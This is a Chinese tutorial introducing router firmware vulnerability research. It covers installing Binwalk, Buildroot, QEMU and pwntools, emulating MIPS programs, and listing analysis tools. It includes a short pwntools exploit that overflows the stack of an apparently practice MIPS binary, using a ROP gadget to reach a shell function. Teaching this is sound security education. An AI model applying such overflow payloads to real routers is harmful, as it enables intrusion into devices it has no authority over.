手把手玩转路由器漏洞挖掘系列 - 基础入门

2.2 工具安装

• Binwalk - 分析路由器固件
• Buildroot - 编译不同架构设备工具链
• Qemu - 模拟程序运行
• Pwntools - 编写漏洞利用脚本框架

$ sudo vim /etc/apt/sources.list
$ sudo apt-get update

# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-updates main restricted universe multiverse
deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse
# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-backports main restricted universe multiverse

# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse
# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-security main restricted universe multiverse

deb http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse
# deb-src http://security.ubuntu.com/ubuntu/ jammy-security main restricted universe multiverse

# 预发布软件源，不建议启用
# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse
# # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ jammy-proposed main restricted universe multiverse

$ git clone https://github.com/ReFirmLabs/binwalk.git
$ sudo ./dep.sh #安装binnwalk工具依赖
$ sudo python3 setup.py install

• 缺少python

$ sudo apt-get install python -y

• 出现 Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?

$ sudo apt-get update --fix-missing

• 缺少pip

$ sudo apt-get install python3-pip -y

下载

Buildroot - Making Embedded Linux Easy

安装

$ sudo apt-get insatll install libncurses5-dev -y
$ tar zxvf buildroot-*.tar.gz
$ cd buldroot*
$ make menuconfig #配置选择嵌入式架构

编译

$ make V=s

交叉编译工具链生成路径

$ ./buildroot/output/host/bin/*-linux-gcc

编译一个简单mips程序

#include <stdio.h>

int main(int argc,char *argv[]){
    printf("Hello World!");
    return 0;
}

//mips-linux-gcc hello.c -o hello --static

安装

$ sudo apt-get install qemu-user-static qemu-user -y

运行

$ qemu-mips-static ./hello

安装

$ pip install pwntools -i https://pypi.douban.com/simple

使用 - 例子

from pwn import *

name = "./pwnable/Intro/stack_bof_01"
libc_base = 0x7f6e5000  #libc.so.0
gadget_addr = libc_base + 0x6b20 # lw $t9,0($sp) jalr t9

offset = 204
dat_shell = 0x400950
payload = b'A' * offset
payload += p32(gadget_addr)
payload += p32(dat_shell)

p = process(['chroot','.','./qemu-mipsel-static','-L','.',name,payload ])
context.endian = "little"
context.arch = "mips"
p.interactive()

2.3 常见固件模拟仿真框架

• Firmadyne

• FirmAE - (Firmadyne改进版)

• Qiling

3.1 静态分析

工具选择

• IDA

• Ghidra

• Binary Ninja

举例

3.2 动态分析

工具

• gdb-multiarch

举例

$ qemu-arm-static -g 1234 ./arm_pwn3

4.1 认证和授权漏洞

4.2 服务端口漏洞

4.3 Web界面漏洞

4.4 无线安全漏洞

4.5 物理攻击